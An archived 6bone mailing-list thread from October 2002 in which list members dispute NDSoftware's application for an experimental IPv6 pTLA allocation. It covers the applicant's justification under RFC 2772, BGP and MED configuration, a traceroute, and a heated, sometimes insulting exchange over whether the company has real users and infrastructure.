> For what? Llama's? Vhosts? Mirrors?

read my request of pTLA to Bob Fink.


> > /35 IPV6-FR
> > /36 NEXTGENCOLLECTIVE
> > /36 NDSOFTWARE
> > 
> > A lot of /24 and /28 pTLA use only one /48 in their pTLA...
> > 
> > I hope that you see that i need a pTLA.
> 
> No I don't see any reason for a pTLA.
> I do see a reason for making a numberplan.
> How many users are in this 3x /32?
> A very big ISP can provide IPv6 to whole china with it.
> How many 'users' are there in NDSOFTWARE that you need
> and can justify a /36 ???

Why you need know my number plan ?
Other pTLA didn't published their number plan for get their pTLA...

> Where did FNIX6 go? Oh yeah it doesn't exist checking the site.

http://www.fnix6.net.net/, this URL is in my request of pTLA

> > > Where is the "rest" of NDSoftware (Nicolas DEFFAYET Software).
> > 
> > I'm the founder of NDSoftware, yes NDSoftware = Nicolas DEFFAYET
> > Software.
> > NDSoftware exist since 03/2000.
> > I use "I" for call NDSoftware because it's my company.
> And nobody else now is there?
> Who are the other people mentioned in _your_ whois ?

It's like you said "my family".

It's people who work on the IPv6 project with me.

> > > You don't need a pTLA, you need a delegation from NERIM, 
> > they are your
> > > upstream.
> > 
> > No, i need a pTLA.
> 
> I again. YOU don't need a pTLA.
> WHY ? Oh I'll spell it again : W.H.Y.
> Thats: Double-U, Ache, Why: Why.
> 
> First justify WHY _your company_ needs it.
> Then rememeber that it's for EXPERIMENTAL purposes
> So you can't use it COMMERCIALLY.
> 
> And again I ask you, if you reply and _your company_ still
> want to request a pTLA: answer the above questions in full without
> cutting.

I need a pTLA, i have sent my request with my justification to Bob Fink
and he had sent to this mailing list.
Read it before ask why why why !

Ask other pTLA why they have a pTLA...


From nicolas.deffayet@ndsoftware.net Sat Oct 19 14:03:31 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Stephane Bortzmeyer <bortzmeyer@gitoyen.net>
Cc: 6BONE List <6bone@mailman.isi.edu>
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On Sat, 2002-10-19 at 22:46, Stephane Bortzmeyer wrote:
> > FNIX6 is the first french IPv6 Internet Exchange.
> > IPv6 Internet Exchange = IPv6 only
> 
> Unlike what happens in the novel "1984", you cannot redefine the language at 
> will. For everybody, a "IPv6 Internet Exchange" is an IX where you can run 
> IPv6. You know it fairly well but you choosed, by pure dishonesty, to use the 
> sentence "the first french IPv6 Internet Exchange" knowing it would confuse 
> people.

IPv4 Internet Exchange = IPv4 only
IPv4 and IPv6 Internet Exchange = IPv4 and IPv6 (dualstack)
IPv6 Internet Exchange = IPv6 only

> BTW, I have just started to manufacture the first floating-point processor in 
> the world (yes, other processors do floating-point calculations but mine is 
> the first to perform only FP operations).
>  
> > Check all french IX websites, you will find that FNIX6 is the first that
> > offer IPv6 without IPv4.
> 
> I agree. If you are intellectually honest, you will change your signature to :
> 
> FNIX6 is the first french Internet Exchange without IPv4

Best Regards,

Nicolas DEFFAYET

FNIX6 is the first french Internet Exchange without IPv4:
http://www.fnix6.net/


From pekkas@netcore.fi Sat Oct 19 14:03:38 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: Rico Gloeckner <rico@noris.net>, Bob Fink <fink@es.net>,
   6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On 19 Oct 2002, Nicolas DEFFAYET wrote:
> On Sat, 2002-10-19 at 20:38, Rico Gloeckner wrote:
> 
> > Ok, let me rephrase you:
> > | I close tunnels to small local Peers because i want to peer with Large
> > | Peers around the world.
> > 
> > Did I understand you correctly?
> > 
> > If so, i hope all your Peers will decrease the Priority to you to a very
> > minimum, because this is the best Way to fuck up IPv6-Routing.
> 
> I use MED, i don't have a bad routing, you can check:
> 
> http://noc.ndsoftwarenet.com/stats/aspath-tree/bgp-page-complete.php
> 
> I see all european pTLA/sTLA by European peer,...
> 
> My MED for tunnels:
> 
> 500: - 10 ms
> 510: 10 - 25 ms
> 520: 25 - 50 ms
> 530: 50 - 100 ms
> 540: + 100 ms
> 
> A lot of pTLA and sTLA don't use MED, i use MED for have a good quality.

Are you aware of the fact that unless you have 'always-compare-med' (or 
equivalent), MED is only used when comparing paths for which the neighbor 
AS is the same?  So, unless you have two connections to a neighbor AS, 
it's of no use?

Pretty much useless in the 6bone context otherwise.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From nicolas.deffayet@ndsoftware.net Sat Oct 19 14:07:34 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Pekka Savola <pekkas@netcore.fi>
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On Sat, 2002-10-19 at 23:03, Pekka Savola wrote:
> On 19 Oct 2002, Nicolas DEFFAYET wrote:
> > On Sat, 2002-10-19 at 20:38, Rico Gloeckner wrote:
> > 
> > > Ok, let me rephrase you:
> > > | I close tunnels to small local Peers because i want to peer with Large
> > > | Peers around the world.
> > > 
> > > Did I understand you correctly?
> > > 
> > > If so, i hope all your Peers will decrease the Priority to you to a very
> > > minimum, because this is the best Way to fuck up IPv6-Routing.
> > 
> > I use MED, i don't have a bad routing, you can check:
> > 
> > http://noc.ndsoftwarenet.com/stats/aspath-tree/bgp-page-complete.php
> > 
> > I see all european pTLA/sTLA by European peer,...
> > 
> > My MED for tunnels:
> > 
> > 500: - 10 ms
> > 510: 10 - 25 ms
> > 520: 25 - 50 ms
> > 530: 50 - 100 ms
> > 540: + 100 ms
> > 
> > A lot of pTLA and sTLA don't use MED, i use MED for have a good quality.
> 
> Are you aware of the fact that unless you have 'always-compare-med' (or 
> equivalent), MED is only used when comparing paths for which the neighbor 
> AS is the same?  So, unless you have two connections to a neighbor AS, 
> it's of no use?

I use:

 bgp always-compare-med
 bgp dampening
 no synchronization

Best Regards,

Nicolas DEFFAYET


From paitken@cisco.com Sat Oct 19 14:20:14 2002
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Nicolas DEFFAYET wrote:

> I don't have Cisco or Juniper routers because i don't have the budget
> for that. You can offer me a Cisco if you want...

http://www.cisco.com/warp/public/csc/refurb_equipment

-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


From jeroen@unfix.org Sat Oct 19 14:28:48 2002
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Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:

> On Sat, 2002-10-19 at 22:41, Jeroen Massar wrote:
> > > 
> > > I will move the 3 /32 in the pTLA.
> > > 
> > > For the moment, i use:
> > _I_ use.
> 
> Why do you play with words ?
> It's funny for you ?

No I can't imagine that it's funny having to see somebody apply for a
pTLA
who only has 2 colo'd boxes and calling _himself_ a ISP and an IX
without any justification.

> > > /35 DELEGATION (/48, /44, /40)
> > For what? Llama's? Vhosts? Mirrors?
> 
> read my request of pTLA to Bob Fink.

Guess what I did? I read it while ignoring the numberous grammar errors
and needing a de-yoda-fier to actually understand it a bit.
There is nothing in it about where it's used for.

> > > /35 IPV6-FR
> > > /36 NEXTGENCOLLECTIVE
> > > /36 NDSOFTWARE
> > > 
> > > A lot of /24 and /28 pTLA use only one /48 in their pTLA...
> > > 
> > > I hope that you see that i need a pTLA.
> > 
> > No I don't see any reason for a pTLA.
> > I do see a reason for making a numberplan.
> > How many users are in this 3x /32?
> > A very big ISP can provide IPv6 to whole china with it.
> > How many 'users' are there in NDSOFTWARE that you need
> > and can justify a /36 ???
> 
> Why you need know my number plan ?
> Other pTLA didn't published their number plan for get their pTLA...

They ARE legit companies who have existed for multiple years.
And they DO have actual REAL users and they also have a REAL plan
for the usage of the pTLA and also a will to make it production after
the experimenting is over.

So I ask you _again_: Can you justify a /36 for a single company?
A /36, how many employees do you have? Or are they all getting a /42?

> > Where did FNIX6 go? Oh yeah it doesn't exist checking the site.
> 
> http://www.fnix6.net.net/, this URL is in my request of pTLA

I said I checked _your_ site, not a non-existing URL.
I checked http://www.fnix6.net/members/by-name.php
8<------------------------
FNIX6  Members  Index by Name 
 
------------------------>8
Empty -> No Members -> No IX.
Even your _own_ NDSOFTWARE doesn't want to be a member apparently.
Sorry www.fnix6.net.net doesn't exist but you probably didn't register
that domain. And yes your FAQ (http://www.fnix6.net/about/faq.php) says
it's:
8<------------------
9: Who are the members of FNIX6 ?
A full and up to date list is available on the FNIX6 website.
----------------->8
Good, no users there, now where did you need that pTLA for?

Check: www.tunnel-ix.nl at least they say they are tunnel'd.

> > > Where is the "rest" of NDSoftware (Nicolas DEFFAYET Software).
> > 
> > I'm the founder of NDSoftware, yes NDSoftware = Nicolas DEFFAYET
> > Software.
> > NDSoftware exist since 03/2000.
> > I use "I" for call NDSoftware because it's my company.
> And nobody else now is there?
> Who are the other people mentioned in _your_ whois ?
>
> It's like you said "my family".
The janitor can't manage a network. Oh oops there is no network?
Or do you have any cabling coming out of that colo box to other places?
No private home adsl lines don't count, especially if they are operated
by other ISP's.

> It's people who work on the IPv6 project with me.
Actual reallife people?

> > > You don't need a pTLA, you need a delegation from NERIM, 
> > they are your
> > > upstream.
> > 
> > No, i need a pTLA.
> 
> > I again. YOU don't need a pTLA.
> > WHY ? Oh I'll spell it again : W.H.Y.
> > Thats: Double-U, Ache, Why: Why.
> 
> > First justify WHY _your company_ needs it.
> > Then rememeber that it's for EXPERIMENTAL purposes
> > So you can't use it COMMERCIALLY.
> > 
> > And again I ask you, if you reply and _your company_ still
> > want to request a pTLA: answer the above questions in full without
> > cutting.
> 
> I need a pTLA, i have sent my request with my justification to Bob
Fink
> and he had sent to this mailing list.
> Read it before ask why why why !
http://mailman.isi.edu/pipermail/6bone/2002-October/006364.html

I read it a couple of times and see no valid data,
the persons apparently are your family, you have no infrastructure,
no planning what you are going to do with it.
And the biggest problem of all: No users.

I also wonder why ATI doesn't get space from APNIC and needs to get
it from a one-person non-existing 'company' from france, which is at
the other side of the world and doesn't have his own line to TUNESIA?
Are you mad? It's the same as Class-A style assignments in IPv4.

> Ask other pTLA why they have a pTLA...

I asked a number of them and they all came up with valid reasons.
But this is about YOUR (or was it NDSoftware's?) request for a pTLA.
Not theirs. And thus it's now YOUR (?NDSoftware?)'s turn to answer
questions.

And why _I_ need to know about this: simply because I don't want to see
everybody requesting and getting a pTLA (and after that an sTLA?).
If you can do it, every person in this world can rectify it and then
we can really start making those addresses 512bits, ohno those same
persons will be wanting a /32 out of the 512bits for their 2 colo'd
boxes.
And that's why I want to see a numberplan.

I also find it remarkable that RIPE gave you a ASN just because you
whined about it.

Too much and's, too much questions unanswered or answered with the same
answers.

Greets,
 Jeroen


From nicolas.deffayet@ndsoftware.net Sat Oct 19 14:36:20 2002
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Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
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On Sat, 2002-10-19 at 23:28, Jeroen Massar wrote:

I don't reply anymore to your stupid questions.


From tjc@ecs.soton.ac.uk Sat Oct 19 14:38:12 2002
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On Sat, Oct 19, 2002 at 10:27:33PM +0200, Nicolas DEFFAYET wrote:
> 
> No, i need a pTLA.

So what exactly are you doing that a typical university that performs IPv6
experiments and research is not doing?   A university doesn't get a pTLA,
just a /48.  We offer connectivity to end users.  We have FTP servers, we
run BGP, etc...

A similar question came up about a Swedish university a while back that
wanted a pTLA to "do BGP" and have a lot of peers.  I don't recall the
result of their pTLA application.

That aside, I think the style of presentation of routing info/etc on your
site is good, and more "genuine" providers could usefully make such views
of their routing info public.

Tim

From tjc@ecs.soton.ac.uk Sat Oct 19 14:42:26 2002
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On Sat, Oct 19, 2002 at 10:41:12PM +0200, Jeroen Massar wrote:
>
> How many users are in this 3x /32?
> A very big ISP can provide IPv6 to whole china with it.

I think China needs more than 196,000 /48's :)

Tim

From nicolas.deffayet@ndsoftware.net Sat Oct 19 14:43:48 2002
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Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
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On Sat, 2002-10-19 at 23:28, Jeroen Massar wrote:
> Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:
> 
> > On Sat, 2002-10-19 at 22:41, Jeroen Massar wrote:
> > > > 
> > > > I will move the 3 /32 in the pTLA.
> > > > 
> > > > For the moment, i use:
> > > _I_ use.
> > 
> > Why do you play with words ?
> > It's funny for you ?
> 
> No I can't imagine that it's funny having to see somebody apply for a
> pTLA
> who only has 2 colo'd boxes and calling _himself_ a ISP and an IX
> without any justification.

We don't have only "2 colo'd".

See my previous mail...

> They ARE legit companies who have existed for multiple years.
> And they DO have actual REAL users and they also have a REAL plan
> for the usage of the pTLA and also a will to make it production after
> the experimenting is over.

We have REAL users.

> > I need a pTLA, i have sent my request with my justification to Bob
> Fink
> > and he had sent to this mailing list.
> > Read it before ask why why why !
> http://mailman.isi.edu/pipermail/6bone/2002-October/006364.html
> 
> I read it a couple of times and see no valid data,
> the persons apparently are your family, you have no infrastructure,

Not of my family, i have an infrasture.

> no planning what you are going to do with it.
> And the biggest problem of all: No users.

WE HAVE USERS.

PLEASE READ MY PTLA REQUEST !!!


> I also wonder why ATI doesn't get space from APNIC and needs to get
> it from a one-person non-existing 'company' from france, which is at
> the other side of the world and doesn't have his own line to TUNESIA?
> Are you mad? It's the same as Class-A style assignments in IPv4.

Visit http://www.ipv6net.tn (URL IN MY PTLA REQUEST !!!)


> Too much and's, too much questions unanswered or answered with the same
> answers.

All your question have a reply in the archive of this list or in my pTLA
request.

I need a pTLA, i justify it.

Why IPNg.nl have a pTLA and a sTLA ?
Please justify the both.

Regards,

Nicolas DEFFAYET


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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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On Sat, Oct 19, 2002 at 10:49:50PM +0200, Jeroen Massar wrote:
>
> I do want to see the ability for an IXP to get address space that is
> routable. Which is why I mentioned the AMS-IX case, which is a
> "non-profit, neutral and independent association" and thus can't rely on
> other peoples
> IP space. The shared medium can run only on the /48, but the services
> provided (website, lookingglasses etc) can't. AMS-IX has major
> difficulties
> getting that space. Notez bien that even RIPE can't request space from
> thereselves as they are not a LIR. Odd rules in a odd world.

Euro6IX has a pTLA, to allow customer allocation of addresses from its
address space.    Euro6IX is not an LIR, nor even a legal entity.

Tim

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On Sat, Oct 19, 2002 at 10:10:41PM +0200, Stephane Bortzmeyer wrote:
> 
> <pedantic>You can always go through an existing LIR. Gitoyen could certainly do it, even if I find the idea of an IPv6-only IXP absolutely wrong.</pedantic>

Hi Stephane,

I'm curious as to why you think this?

Is the UK6X heading down the wrong path?

Tim

From jeroen@unfix.org Sat Oct 19 14:48:34 2002
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Cc: <6bone@ISI.EDU>, "'Bob Fink'" <fink@es.net>
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Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:

> On Sat, 2002-10-19 at 23:28, Jeroen Massar wrote:
> 
> I don't reply anymore to your stupid questions.

Does this also mean that you DROP your pTLA request?

If you are not capable of answering simple questions you should not be
eligible for a pTLA either.


Now finally for some constructive message to Nico:

You are trying and wanting to do constructive things for IPv6.
But you really really have to realize that NOT everybody can have a
pTLA.
This is simply because of the biggest troubles seen in the IPv4 land:
Address depletion and Routing table size.

If one then also adds to that a complete tunneled environment you would
simply blow it all up for everybody and that's not what we want now do
we?

Greets,
 Jeroen


From nicolas.deffayet@ndsoftware.net Sat Oct 19 14:54:37 2002
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Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
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On Sat, 2002-10-19 at 23:48, Jeroen Massar wrote:
> Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:
> 
> > On Sat, 2002-10-19 at 23:28, Jeroen Massar wrote:
> > 
> > I don't reply anymore to your stupid questions.
> 
> Does this also mean that you DROP your pTLA request?

No, I need always a pTLA.

Why you are jealous ?

> If you are not capable of answering simple questions you should not be
> eligible for a pTLA either.

You are funny.
And if i don't want answer to your stupid questions ?

It's not in RFC2772.

> Now finally for some constructive message to Nico:
> 
> You are trying and wanting to do constructive things for IPv6.
> But you really really have to realize that NOT everybody can have a
> pTLA.

Why IPNG.NL have a pTLA and a sTLA ?
Please justify this.

Regards,

Nicolas DEFFAYET


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On 19 Oct 2002, Nicolas DEFFAYET wrote:

> Why we close peering with private ASN the 23 October 2002:
> 
> We have 101 BGP4+ peer, our current routers are full (zebra is very
> unstable if i add new peer) and we want get new peer with other
> pTLA/sTLA that we can't get with our old private ASN.
> 
> We have choose to delete all peers with private ASN for free BGP session
> on our routers for this new peers.
> 
> > oh! what a coincidence "We will shutdown your BGP peering the 23 October 2002"
> > and "pTLA request NDSOFTWARE - review closes 23 October 2002"
> >
> > 2.4 you finally got your pTLA
> > 2.5 you think private ASN sucks and remove all, peerings with private ASN
> 
> We don't delete peers with private ASN because "private ASN sucks", we
> keep peering with important private ASN like NextGenCollective or
> IPNG-UK (this 2 projects projet provide a lot of tunnels to users). I
> understand their status, it's why i keep peering with them.
> 

Nicolas,

If your routers are full, BUILD ANOTHER ROUTER to add to your v6 core.  
You don't drop one peer to bring on another.  Your new "policy" sucks,
plain and simple and for this reason, I can NOT support your request for a
pTLA.


> TDOI don't provide a lot of tunnels (more than 50) to users, it's for
> that reason that we shutdown your peering.

OK.  I see a total of 2 native v6 sessions listed in your site
object.  You're shutting down existing peering sessions for what reason?

Just an FYI: You violated OUR peering policy when you dropped your peering
session to change your ASN.  If you investigate a bit, you'll notice that
it is possible to have Zebra speak as multiple ASNs at once.  You simply
changed your ASN and "poof" the session dropped.  No biggie.  Just thought
I would bring that to your attention.


> 
> Where i send you your certificate of the best troll of 6bone
> mailing-list ?
> 

And where do I send your certificate for being childish on the 6bone
mailing list?  Yet another reason I do NOT support your application for a
pTLA.


---
John Fraizer              | High-Security Datacenter Services |
President                 | Dedicated circuits 64k - 155M OC3 |
EnterZone, Inc            | Virtual, Dedicated, Colocation    |
http://www.enterzone.net/ | Network Consulting Services       |



From jeroen@unfix.org Sat Oct 19 15:10:24 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>
Cc: <6bone@ISI.EDU>, "'Bob Fink'" <fink@es.net>
Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:

Oh I thought that you:
<quote>I don't reply anymore to your stupid questions.</quote>

But okay you still want to request your personal TLA.

> On Sat, 2002-10-19 at 23:28, Jeroen Massar wrote:
> > Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:
> > 
> > > On Sat, 2002-10-19 at 22:41, Jeroen Massar wrote:
> > > > > 
> > > > > I will move the 3 /32 in the pTLA.
> > > > > 
> > > > > For the moment, i use:
> > > > _I_ use.
> > > 
> > > Why do you play with words ?
> > > It's funny for you ?
> > 
> > No I can't imagine that it's funny having to see somebody 
> apply for a
> > pTLA
> > who only has 2 colo'd boxes and calling _himself_ a ISP and an IX
> > without any justification.
> 
> We don't have only "2 colo'd".
> 
> See my previous mail...
You got a "full" rack with 2 colo'd boxes?
And where do the members for your IX go?

> > They ARE legit companies who have existed for multiple years.
> > And they DO have actual REAL users and they also have a REAL plan
> > for the usage of the pTLA and also a will to make it 
> production after
> > the experimenting is over.
> 
> We have REAL users.
First you must define we, is it your IRC channel or is it your ISP you
are talking about or is it your IX?

> > > I need a pTLA, i have sent my request with my justification to Bob
> > Fink
> > > and he had sent to this mailing list.
> > > Read it before ask why why why !
> > http://mailman.isi.edu/pipermail/6bone/2002-October/006364.html
> > 
> > I read it a couple of times and see no valid data,
> > the persons apparently are your family, you have no infrastructure,
> 
> Not of my family, i have an infrasture.
Where is that infrastructure? Telecity is not yours.

> > no planning what you are going to do with it.
> > And the biggest problem of all: No users.
> 
> WE HAVE USERS.
> 
> PLEASE READ MY PTLA REQUEST !!!

Define We and why NDSoftware needs that /36?
Oh and you don't need any caps, I and all other people
can read lowercase quite well.

> > I also wonder why ATI doesn't get space from APNIC and needs to get
> > it from a one-person non-existing 'company' from france, which is at
> > the other side of the world and doesn't have his own line 
> to TUNESIA?
> > Are you mad? It's the same as Class-A style assignments in IPv4.
> 
> Visit http://www.ipv6net.tn (URL IN MY PTLA REQUEST !!!)

Tunesia falls under: APNIC, not RIPE, guess why that is.

 1  3ffe:80ee:b3f:1::1 (3ffe:80ee:b3f:1::1)  0.886 ms *  1.309 ms
 2  gw-ati.ipv6.tn (3ffe:80ee:b3f::1)  2.46 ms *  1.921 ms
 3  defra-03-01.pop.xs26.net (3ffe:80ef:301::)  152.604 ms  149.667 ms
149.901 ms
 4  bb1v6-rkp-tu25.muc.ipv6.eurocyber.net (2001:768:e:20::1)  160.374 ms
161.443 ms  159.434 ms
 5  rap.ipv6.viagenie.qc.ca (3ffe:b00:c18:1:290:27ff:fe17:fc0f)  310.873
ms  312.562 ms  315.375 ms
 6  www.6bone.net (3ffe:b00:c18:1::10)  310.767 ms  321.692 ms  318.758
ms

Hmmm xs26, no "ndsoftware" there.

> > Too much and's, too much questions unanswered or answered 
> with the same
> > answers.
> 
> All your question have a reply in the archive of this list or 
> in my pTLA
> request.
> 
> I need a pTLA, i justify it.
> 
> Why IPNg.nl have a pTLA and a sTLA ?
> Please justify the both.
Why do I have to justify a pTLA and a sTLA for IPng.nl ?
They are not mine. Also IPng.nl doesn't have a pTLA nor a sTLA.

Greets,
 Jeroen


From jeroen@unfix.org Sat Oct 19 15:19:19 2002
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Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:

> On Sat, 2002-10-19 at 23:48, Jeroen Massar wrote:
> > Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:
> > 
> > > On Sat, 2002-10-19 at 23:28, Jeroen Massar wrote:
> > > 
> > > I don't reply anymore to your stupid questions.
> > 
> > Does this also mean that you DROP your pTLA request?
> 
> No, I need always a pTLA.
Again: explain why.

> Why you are jealous ?
Jealous? I can't be jealous at somebody who requires a pTLA for itself.
I am quite happy with the small assignement I got from my uplink.
Which is quite enough.

> > If you are not capable of answering simple questions you 
> should not be
> > eligible for a pTLA either.
> 
> You are funny.
I wonder what is so funny about all of this?

> And if i don't want answer to your stupid questions ?
> 
> It's not in RFC2772.
Then don't. That's your choice. You requested it.
Also RFC stands for Request for comments, it isn't a STD yet.

> > Now finally for some constructive message to Nico:
> > 
> > You are trying and wanting to do constructive things for IPv6.
> > But you really really have to realize that NOT everybody can have a
> > pTLA.
> 
> Why IPNG.NL have a pTLA and a sTLA ?
> Please justify this.
As I said before, they don't have any.

Greets,
 Jeroen


From hansolofalcon@worldnet.att.net Sat Oct 19 15:24:01 2002
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@mailman.isi.edu>
Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Hello from Gregg C Levine
I have been lurking on this list, for a good number of years now.
Sometimes even posting a comment, or a gripe. This is more along the
lines of both. I have been monitoring the traffic discussing
NDSOFTWARE's request. Both finding the original message to Bob Fink, and
the list, and everything. Sorry Mr. Deffayet, I disagree. For one, you
do need to spell out who will be using the service. Is it for your
company? Yourself? What? Who, even? Unless you can spell out neatly the
answers to my questions, I am inclined to agree with everyone else. I am
also agreeing with the people I have disagreed with early on. I might
also, add, even Master Yoda's methods of speaking isn't that confusing.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
On
> Behalf Of Bob Fink
> Sent: Wednesday, October 16, 2002 9:26 AM
> To: 6BONE List
> Cc: Nicolas DEFFAYET
> Subject: [6bone] pTLA request NDSOFTWARE - review closes 23 October
2002
> 
> 6bone Folk,
> 
> NDSOFTWARE has requested a pTLA allocation and I find their request
fully
> compliant with RFC2772. The open review period for this will close 23
> October 2002. Please send your comments to me or the list.
> 
> <http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE>
> 
> <http://noc.ndsoftwarenet.com/>
> 
> 
> Thanks,
> 
> Bob
> 
> =====
> >Hello,
> >
> >On behalf of NDSoftware, I would like to submit our application for a
> >pTLA.
> >
> >Best Regards,
> >
> >Nicolas DEFFAYET
> >
>
>-----------------------------------------------------------------------
-
> >
> > From RFC 2772
> >
> >
> >7. Guidelines for 6Bone pTLA sites
> >
> >
> >    The following rules apply to qualify for a 6Bone pTLA allocation.
It
> >     should be recognized that holders of 6Bone pTLA allocations are
> >     expected to provide production quality backbone network services
for
> >     the 6Bone.
> >
> >
> >    1. The pTLA Applicant must have a minimum of three (3) months
> >        qualifying experience as a 6Bone end-site or pNLA transit.
> >During
> >        the entire qualifying period the Applicant must be
operationally
> >        providing the following:
> >
> >Our ipv6-site is operational since 17 january 2001 on 6bone.
> >
> >        a. Fully maintained, up to date, 6Bone Registry entries for
their
> >           ipv6-site inet6num, mntner, and person objects, including
each
> >           tunnel that the Applicant has.
> >
> >http://whois.6bone.net/cgi-bin/whois?NDSOFTWARE
> >
> >
> >       b. Fully maintained, and reliable, BGP4+ peering and
connectivity
> >           between the Applicant's boundary router and the
appropriate
> >           connection point into the 6Bone. This router must be IPv6
> >           pingable. This criteria is judged by members of the 6Bone
> >           Operations Group at the time of the Applicant's pTLA
request.
> >
> >We have currently 101 BGP4+ sessions.
> >
> >Our ASN is AS25358:
> >aut-num:      AS25358
> >as-name:      NDSOFTWARE-AS
> >descr:        NDSoftware IP Network
> >
> >We use 2 routers:
> >  - parcr1.fr.ndsoftwarenet.net
> >  - parcr2.fr.ndsoftwarenet.net
> >Looking Glass: http://noc.ndsoftwarenet.com/lg/
> >
> >
> >       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >           entries for the Applicant's router(s) and at least one
host
> >           system.
> >
> >We have 3 nameservers:
> >  - ns1.ndsoftwarenet.com
> >  - ns2.ndsoftwarenet.com
> >  - ns3.ndsoftwarenet.com
> >
> >       d. A fully maintained, and reliable, IPv6-accessible system
> >           providing, at a mimimum, one or more web pages, describing
the
> >           Applicant's IPv6 services.  This server must be IPv6
pingable.
> >
> >http://noc.ndsoftwarenet.com/
> >
> >    2. The pTLA Applicant MUST have the ability and intent to provide
> >        "production-quality" 6Bone backbone service. Applicants must
> >        provide a statement and information in support of this claim.
> >        This MUST include the following:
> >
> >
> >       a. A support staff of two persons minimum, three preferable,
with
> >           person attributes registered for each in the ipv6-site
object
> >           for the pTLA applicant.
> >
> >NDN1-6BONE
> >CB2-6BONE
> >BN3-6BONE
> >MM14-6BONE
> >MC7-6BONE
> >
> >       b. A common mailbox for support contact purposes that all
support
> >           staff have acess to, pointed to with a notify attribute in
the
> >           ipv6-site object for the pTLA Applicant.
> >
> >ipmaster@ndsoftwarenet.com
> >
> >    3. The pTLA Applicant MUST have a potential "user community" that
> >        would be served by its becoming a pTLA, e.g., the Applicant
is a
> >        major provider of Internet service in a region, country, or
focus
> >        of interest. Applicant must provide a statement and
information
> >        in support this claim.
> >
> >NDSoftware operates an IPv6 network and provide a lot of IPv6
services
> >to many projects.
> >
> >We provide to:
> >
> >IPv6-FR (a non profit organisation for the developement of IPv6 in
France
> >   200 users, each user have a /48.
> >
> >NexGenCollective (http://www.nexgencollective.net/)
> >   150 users, each user have a /48.
> >
> >ATI (A tunisian ISP, http://www.ipv6net.tn/)
> >
> >and a lot of others (see our whois), this services: IPv6 connectivity
> >(STATIC or BGP with a IPv6 block), IPv6 newsfeeds/newsread,...
> >
> >We do many actions in IPv6 research, we created FNIX6 (French
> >International Internet Exchange IPv6, http://www.fnix6.net/), we host
many
> >mirrors
> >available in IPv6, we created ftp://ftp.openipv6.com/ (a FTP with a
lot
> >of IPv6 stuff).
> >
> >    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >        operational rules and policies as they exist at time of its
> >        application, and agree to abide by future 6Bone backbone
> >        operational rules and policies as they evolve by consensus of
the
> >        6Bone backbone and user community.
> >
> >
> >We agree to all current and future rules and policies.
> >
> >----
> 
> -end
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From jeroen@unfix.org Sat Oct 19 15:30:35 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Tim Chown'" <tjc@ecs.soton.ac.uk>, <6bone@ISI.EDU>
Subject: RE: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002
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Tim Chown wrote:
> On Sat, Oct 19, 2002 at 10:49:50PM +0200, Jeroen Massar wrote:
> >
> > I do want to see the ability for an IXP to get address space that is
> > routable. Which is why I mentioned the AMS-IX case, which is a
> > "non-profit, neutral and independent association" and thus 
> can't rely on
> > other peoples
> > IP space. The shared medium can run only on the /48, but 
> the services
> > provided (website, lookingglasses etc) can't. AMS-IX has major
> > difficulties
> > getting that space. Notez bien that even RIPE can't request 
> space from
> > thereselves as they are not a LIR. Odd rules in a odd world.
> 
> Euro6IX has a pTLA, to allow customer allocation of addresses from its
